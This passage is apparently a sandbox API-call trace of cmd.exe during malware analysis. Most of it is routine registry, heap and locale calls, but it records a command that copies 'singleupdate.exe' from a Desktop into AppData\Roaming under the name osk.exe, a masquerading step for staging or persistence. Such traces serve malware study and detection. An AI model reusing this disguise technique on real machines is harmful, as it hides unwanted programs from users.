lpData=0xafee14*=0x40, lpcbData=0xafee0c*=0x1000) returned 0x2 [0179.562] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xafee10, lpData=0xafee14, lpcbData=0xafee0c*=0x1000 | out: lpType=0xafee10*=0x4, lpData=0xafee14*=0x1, lpcbData=0xafee0c*=0x4) returned 0x0 [0179.563] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xafee10, lpData=0xafee14, lpcbData=0xafee0c*=0x1000 | out: lpType=0xafee10*=0x0, lpData=0xafee14*=0x1, lpcbData=0xafee0c*=0x1000) returned 0x2 [0179.563] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xafee10, lpData=0xafee14, lpcbData=0xafee0c*=0x1000 | out: lpType=0xafee10*=0x4, lpData=0xafee14*=0x0, lpcbData=0xafee0c*=0x4) returned 0x0 [0179.563] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xafee10, lpData=0xafee14, lpcbData=0xafee0c*=0x1000 | out: lpType=0xafee10*=0x4, lpData=0xafee14*=0x9, lpcbData=0xafee0c*=0x4) returned 0x0 [0179.563] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xafee10, lpData=0xafee14, lpcbData=0xafee0c*=0x1000 | out: lpType=0xafee10*=0x4, lpData=0xafee14*=0x9, lpcbData=0xafee0c*=0x4) returned 0x0 [0179.563] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0xafee10, lpData=0xafee14, lpcbData=0xafee0c*=0x1000 | out: lpType=0xafee10*=0x0, lpData=0xafee14*=0x9, lpcbData=0xafee0c*=0x1000) returned 0x2 [0179.563] RegCloseKey (hKey=0xcc) returned 0x0 [0179.563] time (in: timer=0x0 | out: timer=0x0) returned 0x5cb0579c [0179.563] srand (_Seed=0x5cb0579c) [0179.563] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\"" [0179.563] malloc (_Size=0x4000) returned 0x30021f0 [0179.563] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\"" [0179.564] malloc (_Size=0xffce) returned 0x2f00048 [0179.564] ??_V@YAXPAX@Z () returned 0xaffdec [0179.565] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2f00048 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0179.565] malloc (_Size=0xffce) returned 0x2f10020 [0179.566] ??_V@YAXPAX@Z () returned 0xaffbc0 [0179.566] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2f10020, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0179.566] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0179.566] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0179.566] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0179.566] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0179.566] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0179.566] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0179.566] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0179.566] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0179.566] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0179.566] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0179.566] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0179.567] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0179.567] GetProcessHeap () returned 0x2d00000 [0179.567] RtlFreeHeap (HeapHandle=0x2d00000, Flags=0x0, BaseAddress=0x2d05740) returned 1 [0179.567] GetEnvironmentStringsW () returned 0x2d04c68* [0179.567] GetProcessHeap () returned 0x2d00000 [0179.567] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0xae2) returned 0x2d077e0 [0179.567] FreeEnvironmentStringsA (penv="A") returned 1 [0179.567] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0179.567] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0179.567] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0179.567] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0179.567] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0179.567] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0179.567] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0179.567] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0179.567] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0179.567] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0179.567] malloc (_Size=0xffce) returned 0x2f1fff8 [0179.568] ??_V@YAXPAX@Z () returned 0xaff958 [0179.568] GetProcessHeap () returned 0x2d00000 [0179.568] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0x30) returned 0x2d00ae0 [0179.568] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2f1fff8 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0179.568] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x2f1fff8, lpFilePart=0xaff9a4 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xaff9a4*="system32") returned 0x13 [0179.569] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0179.569] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0xaff728 | out: lpFindFileData=0xaff728) returned 0x2d00b18 [0179.569] FindClose (in: hFindFile=0x2d00b18 | out: hFindFile=0x2d00b18) returned 1 [0179.569] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xaff728 | out: lpFindFileData=0xaff728) returned 0x2d00b18 [0179.569] FindClose (in: hFindFile=0x2d00b18 | out: hFindFile=0x2d00b18) returned 1 [0179.570] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0179.570] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0179.570] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0179.570] GetProcessHeap () returned 0x2d00000 [0179.570] RtlFreeHeap (HeapHandle=0x2d00000, Flags=0x0, BaseAddress=0x2d077e0) returned 1 [0179.570] GetEnvironmentStringsW () returned 0x2d04c68* [0179.570] GetProcessHeap () returned 0x2d00000 [0179.570] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0xb12) returned 0x2d06cf0 [0179.570] FreeEnvironmentStringsA (penv="=") returned 1 [0179.570] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2f00048 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0179.570] GetProcessHeap () returned 0x2d00000 [0179.570] RtlFreeHeap (HeapHandle=0x2d00000, Flags=0x0, BaseAddress=0x2d00ae0) returned 1 [0179.570] ??_V@YAXPAX@Z () returned 0x1 [0179.570] ??_V@YAXPAX@Z () returned 0x1 [0179.570] GetProcessHeap () returned 0x2d00000 [0179.570] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0x400e) returned 0x2d08df0 [0179.571] GetProcessHeap () returned 0x2d00000 [0179.571] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0xc6) returned 0x2d07810 [0179.571] GetProcessHeap () returned 0x2d00000 [0179.571] RtlFreeHeap (HeapHandle=0x2d00000, Flags=0x0, BaseAddress=0x2d08df0) returned 1 [0179.571] GetConsoleOutputCP () returned 0x1b5 [0179.702] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0179.702] GetUserDefaultLCID () returned 0x409 [0179.702] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xc2f82c, cchData=8 | out: lpLCData=":") returned 2 [0179.702] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xaffd14, cchData=128 | out: lpLCData="0") returned 2 [0179.702] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xaffd14, cchData=128 | out: lpLCData="0") returned 2 [0179.702] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xaffd14, cchData=128 | out: lpLCData="1") returned 2 [0179.702] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xc2f81c, cchData=8 | out: lpLCData="/") returned 2 [0179.702] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xc2f7b8, cchData=32 | out: lpLCData="Mon") returned 4 [0179.702] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xc2f778, cchData=32 | out: lpLCData="Tue") returned 4 [0179.702] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xc2f738, cchData=32 | out: lpLCData="Wed") returned 4 [0179.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xc2f6f8, cchData=32 | out: lpLCData="Thu") returned 4 [0179.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xc2f6b8, cchData=32 | out: lpLCData="Fri") returned 4 [0179.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xc2f678, cchData=32 | out: lpLCData="Sat") returned 4 [0179.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xc2f638, cchData=32 | out: lpLCData="Sun") returned 4 [0179.703] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xc2f80c, cchData=8 | out: lpLCData=".") returned 2 [0179.703] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xc2f7f8, cchData=8 | out: lpLCData=",") returned 2 [0179.703] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0179.705] GetProcessHeap () returned 0x2d00000 [0179.705] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x0, Size=0x20c) returned 0x2d07928 [0179.705] GetConsoleTitleW (in: lpConsoleTitle=0x2d07928, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0179.796] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0179.797] GetProcAddress (hModule=0x75e90000, lpProcName="CopyFileExW") returned 0x75ea4330 [0179.797] GetProcAddress (hModule=0x75e90000, lpProcName="IsDebuggerPresent") returned 0x75ea5930 [0179.797] GetProcAddress (hModule=0x75e90000, lpProcName="SetConsoleInputExeNameW") returned 0x74fe09d0 [0179.797] ??_V@YAXPAX@Z () returned 0x1 [0179.798] GetProcessHeap () returned 0x2d00000 [0179.798] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0x400a) returned 0x2d08df0 [0179.798] GetProcessHeap () returned 0x2d00000 [0179.798] RtlFreeHeap (HeapHandle=0x2d00000, Flags=0x0, BaseAddress=0x2d08df0) returned 1 [0179.798] _wcsicmp (_String1="copy", _String2=")") returned 58 [0179.798] _wcsicmp (_String1="FOR", _String2="copy") returned 3 [0179.798] _wcsicmp (_String1="FOR/?", _String2="copy") returned 3 [0179.798] _wcsicmp (_String1="IF", _String2="copy") returned 6 [0179.798] _wcsicmp (_String1="IF/?", _String2="copy") returned 6 [0179.798] _wcsicmp (_String1="REM", _String2="copy") returned 15 [0179.798] _wcsicmp (_String1="REM/?", _String2="copy") returned 15 [0179.798] GetProcessHeap () returned 0x2d00000 [0179.798] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0x58) returned 0x2d07b40 [0179.798] GetProcessHeap () returned 0x2d00000 [0179.798] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0x12) returned 0x2d07ba0 [0179.800] GetProcessHeap () returned 0x2d00000 [0179.800] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0xba) returned 0x2d07bc0 [0179.801] GetConsoleTitleW (in: lpConsoleTitle=0xaffc08, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0179.891] malloc (_Size=0xffce) returned 0x2f12670 [0179.892] ??_V@YAXPAX@Z () returned 0xaff994 [0179.892] malloc (_Size=0xffce) returned 0x2f22648 [0179.893] ??_V@YAXPAX@Z () returned 0xaff74c [0179.893] _wcsicmp (_String1="copy", _String2="DIR") returned -1 [0179.893] _wcsicmp (_String1="copy", _String2="ERASE") returned -2 [0179.894] _wcsicmp (_String1="copy", _String2="DEL") returned -1 [0179.894] _wcsicmp (_String1="copy", _String2="TYPE") returned -17 [0179.894] _wcsicmp (_String1="copy", _String2="COPY") returned 0 [0179.894] ??_V@YAXPAX@Z () returned 0x1 [0179.894] GetProcessHeap () returned 0x2d00000 [0179.894] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0x16c) returned 0x2d07c88 [0179.894] GetProcessHeap () returned 0x2d00000 [0179.894] RtlReAllocateHeap (Heap=0x2d00000, Flags=0x0, Ptr=0x2d07c88, Size=0xbc) returned 0x2d07c88 [0179.894] GetProcessHeap () returned 0x2d00000 [0179.894] RtlSizeHeap (HeapHandle=0x2d00000, Flags=0x0, MemoryPointer=0x2d07c88) returned 0xbc [0179.895] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0179.895] GetProcessHeap () returned 0x2d00000 [0179.895] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0xc4) returned 0x2d07d50 [0179.895] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2f00048 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0179.895] GetProcessHeap () returned 0x2d00000 [0179.895] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0x2c) returned 0x2d07e20 [0179.895] GetProcessHeap () returned 0x2d00000 [0179.895] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0x2c) returned 0x2d07e58 [0179.895] GetProcessHeap () returned 0x2d00000 [0179.895] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0x18) returned 0x2d07e90 [0179.895] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0179.895] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0179.895] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0179.895] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0179.895] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0179.895] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0179.895] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0179.895] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0179.895] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0179.895] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0179.895] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0179.896] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0179.896] GetProcessHeap () returned 0x2d00000 [0179.896] RtlFreeHeap (HeapHandle=0x2d00000, Flags=0x0, BaseAddress=0x2d07e90) returned 1 [0179.896] GetProcessHeap () returned 0x2d00000 [0179.897] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0x18) returned 0x2d07e90 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0179.897] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0179.898] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0179.898] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0179.898] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0179.898] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0179.898] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0179.898] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0179.898] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0179.898] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0179.898] GetProcessHeap () returned 0x2d00000 [0179.898] RtlFreeHeap (HeapHandle=0x2d00000, Flags=0x0, BaseAddress=0x2d07e90) returned 1 [0179.898] GetProcessHeap () returned 0x2d00000 [0179.898] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0x16c) returned 0x2d07e90 [0179.898] GetProcessHeap () returned 0x2d00000 [0179.898] RtlReAllocateHeap (Heap=0x2d00000, Flags=0x0, Ptr=0x2d07e90, Size=0xbc) returned 0x2d07e90 [0179.898] GetProcessHeap () returned 0x2d00000 [0179.898] RtlSizeHeap (HeapHandle=0x2d00000, Flags=0x0, MemoryPointer=0x2d07e90) returned 0xbc [0179.899] _wcsnicmp (_String1="/y", _String2="/Y", _MaxCount=0x2) returned 0 [0179.899] GetProcessHeap () returned 0x2d00000 [0179.899] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0x2c) returned 0x2d07f58 [0179.899] GetProcessHeap () returned 0x2d00000 [0179.899] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0x258) returned 0x2d07f90 [0179.899] _wcsicmp (_String1="singleupdate.exe", _String2=".") returned 69 [0179.899] _wcsicmp (_String1="singleupdate.exe", _String2="..") returned 69 [0179.899] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\singleupdate.exe")) returned 0x20 [0179.899] GetProcessHeap () returned 0x2d00000 [0179.899] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0x2c) returned 0x2d081f0 [0179.899] GetProcessHeap () returned 0x2d00000 [0179.899] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0x258) returned 0x2d00ae0 [0179.899] _wcsicmp (_String1="osk.exe", _String2=".") returned 65 [0179.899] _wcsicmp (_String1="osk.exe", _String2="..") returned 65 [0179.899] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x27, ProcessInformation=0xaff994, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0xaff994, ReturnLength=0x0) returned 0x0 [0179.899] NtSetInformationProcess (ProcessHandle=0xffffffff, ProcessInformationClass=0x27, ProcessInformation=0xaff998, ProcessInformationLength=0x4) returned 0x0 [0179.900] malloc (_Size=0xffce) returned 0x2f22648 [0179.900] ??_V@YAXPAX@Z () returned 0xaff064 [0179.900] malloc (_Size=0xffce) returned 0x2f32620 [0179.900] ??_V@YAXPAX@Z () returned 0xaff064 [0179.900] malloc (_Size=0xffce) returned 0x2f425f8 [0179.901] ??_V@YAXPAX@Z () returned 0xaff064 [0179.901] malloc (_Size=0x1ff9c) returned 0x2f525d0 [0179.902] ??_V@YAXPAX@Z () returned 0xaff064 [0179.902] VirtualAlloc (lpAddress=0x0, dwSize=0xfe00, flAllocationType=0x1000, flProtect=0x4) returned 0x6a0000 [0179.903] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", fInfoLevelId=0x1, lpFindFileData=0x2d07f98, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2d07f98) returned 0x2d08228 [0179.903] GetProcessHeap () returned 0x2d00000 [0179.903] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x0, Size=0x14) returned 0x2d08268 [0179.903] malloc (_Size=0xffce) returned 0x2f72578 [0179.903] ??_V@YAXPAX@Z () returned 0xafedfc [0179.903] malloc (_Size=0xffce) returned 0x2f82550 [0179.904] ??_V@YAXPAX@Z () returned 0xafebb4 [0179.904] ??_V@YAXPAX@Z () returned 0x1 [0179.905] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", nBufferLength=0x7fe7, lpBuffer=0x2f72578, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpFilePart=0x0) returned 0x27 [0179.905] ??_V@YAXPAX@Z () returned 0x1 [0179.906] _wcsicmp (_String1="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", _String2="con") returned -53 [0179.906] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\singleupdate.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xaff074, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000080, hTemplateFile=0x0) returned 0xdc [0179.907] _open_osfhandle (_OSFileHandle=0xdc, _Flags=8) returned 3 [0179.907] _get_osfhandle (_FileHandle=3) returned 0xdc [0179.907] GetFileType (hFile=0xdc) returned 0x1 [0179.907] SetErrorMode (uMode=0x0) returned 0x0 [0179.907] SetErrorMode (uMode=0x1) returned 0x0 [0179.907] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", nBufferLength=0xffce, lpBuffer=0x2f525d0, lpFilePart=0xaff084 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", lpFilePart=0xaff084*="singleupdate.exe") returned 0x28 [0179.907] SetErrorMode (uMode=0x0) returned 0x1 [0179.907] _get_osfhandle (_FileHandle=3) returned 0xdc [0179.907] ReadFile (in: hFile=0xdc, lpBuffer=0x6a0000, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xaff0ac, lpOverlapped=0x0 | out: lpBuffer=0x6a0000*, lpNumberOfBytesRead=0xaff0ac*=0x200, lpOverlapped=0x0) returned 1 [0179.907] malloc (_Size=0x1ff9c) returned 0x2f72578 [0179.908] ??_V@YAXPAX@Z () returned 0xafee24 [0179.909] SetErrorMode (uMode=0x0) returned 